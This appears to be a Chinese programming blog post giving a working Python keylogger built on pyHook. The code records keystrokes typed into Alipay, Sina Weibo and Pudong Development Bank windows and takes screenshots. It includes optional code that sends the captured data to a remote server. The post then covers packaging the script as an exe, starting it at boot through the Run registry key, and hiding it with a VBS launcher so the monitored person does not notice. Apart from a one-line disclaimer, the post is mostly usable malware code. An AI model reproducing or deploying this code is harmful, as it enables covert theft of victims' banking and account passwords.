Python利用pyHook实现监听用户鼠标与键盘事件


Posted in Python onAugust 21, 2014

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 监听鼠标事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #监听键盘事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通过网站title,判断当前网站是否是“监听目标”
  if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓图实现
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成为以日期命名的图片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #创建hook句柄
  hm = pyHook.HookManager()

  #监控鼠标
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #监控键盘
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循环获取消息
  pythoncom.PumpMessages()

二、用py2exe将脚本打包:

新建一个py文件setup.py,内容如下:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行执行以下命令:

pythonsetup.pypy2exe

三、将该程序设置为开机自动启动:

步骤①:

将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

步骤②:

修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

步骤③:

新建一个 .vbs文件,内容如下:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。

补充:

1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、本代码仅为测试示例,读者不要将其用于非法用途。

感兴趣的读者可以对本文实例加以改进,使之功能更加完善。

Python 相关文章推荐
简单的Python的curses库使用教程
Apr 11 Python
深入学习python的yield和generator
Mar 10 Python
Python计算字符宽度的方法
Jun 14 Python
深入理解Python装饰器
Jul 27 Python
python通过getopt模块如何获取执行的命令参数详解
Dec 29 Python
使用python 3实现发送邮件功能
Jun 15 Python
详解Python的hasattr() getattr() setattr() 函数使用方法
Jul 09 Python
mvc框架打造笔记之wsgi协议的优缺点以及接口实现
Aug 01 Python
Python网页正文转换语音文件的操作方法
Dec 09 Python
Python中sorted()排序与字母大小写的问题
Jan 14 Python
PyQt5通过信号实现MVC的示例
Feb 06 Python
Django与数据库交互的实现
Jun 03 Python
Python发送Email方法实例
Aug 21 #Python
Python生成验证码实例
Aug 21 #Python
python中去空格函数的用法
Aug 21 #Python
python实现的重启关机程序实例
Aug 21 #Python
实例讲解Python中的私有属性
Aug 21 #Python
Python创建日历实例
Aug 21 #Python
Python实现批量把SVG格式转成png、pdf格式的代码分享
Aug 21 #Python
You might like
php.ini 配置文件的深入解析
2013/06/17 PHP
将php数组输出html表格的方法
2014/02/24 PHP
让codeigniter与swfupload整合的最佳解决方案
2014/06/12 PHP
php将access数据库转换到mysql数据库的方法
2014/12/24 PHP
Ubuntu中支持PHP5与PHP7双版本的简单实现
2018/08/19 PHP
php7 新增功能实例总结
2020/05/25 PHP
CCPry JS类库 代码
2009/10/30 Javascript
JS自动适应的图片弹窗实例
2013/06/29 Javascript
JQuery做的一个简单的点灯游戏分享
2014/07/16 Javascript
JavaScript中使用stopPropagation函数停止事件传播例子
2014/08/27 Javascript
js数组的操作指南
2014/12/28 Javascript
JS制作简单的三级联动
2015/03/18 Javascript
jQuery实现的多屏图像图层切换效果实例
2015/05/07 Javascript
JQuery和HTML5 Canvas实现弹幕效果
2017/01/04 Javascript
node.js利用socket.io实现多人在线匹配联机五子棋
2018/05/31 Javascript
countUp.js实现数字滚动效果
2019/10/18 Javascript
vue 动态创建组件的两种方法
2020/12/31 Vue.js
[02:12]打造更好的电竞完美世界:完美盛典回顾篇
2018/12/19 DOTA
给你选择Python语言实现机器学习算法的三大理由
2017/11/15 Python
基于python 二维数组及画图的实例详解
2018/04/03 Python
Django集成CAS单点登录的方法示例
2019/06/10 Python
python如何爬取网站数据并进行数据可视化
2019/07/08 Python
python argparser的具体使用
2019/11/10 Python
Python如何在windows环境安装pip及rarfile
2020/06/15 Python
编写类String的构造函数、析构函数和赋值函数
2012/05/29 面试题
iostream与iostream.h的区别
2015/01/16 面试题
《雾凇》教学反思
2014/02/17 职场文书
美术指导求职信
2014/03/17 职场文书
协议书范本
2014/04/23 职场文书
小学生学习雷锋倡议书
2014/05/15 职场文书
新学期标语
2014/06/30 职场文书
小学校园文化建设汇报材料
2014/08/19 职场文书
党校毕业心得体会
2014/09/13 职场文书
个人收入证明模板
2014/09/18 职场文书
创业计划书之家教托管
2019/09/25 职场文书
使用python绘制分组对比柱状图
2022/04/21 Python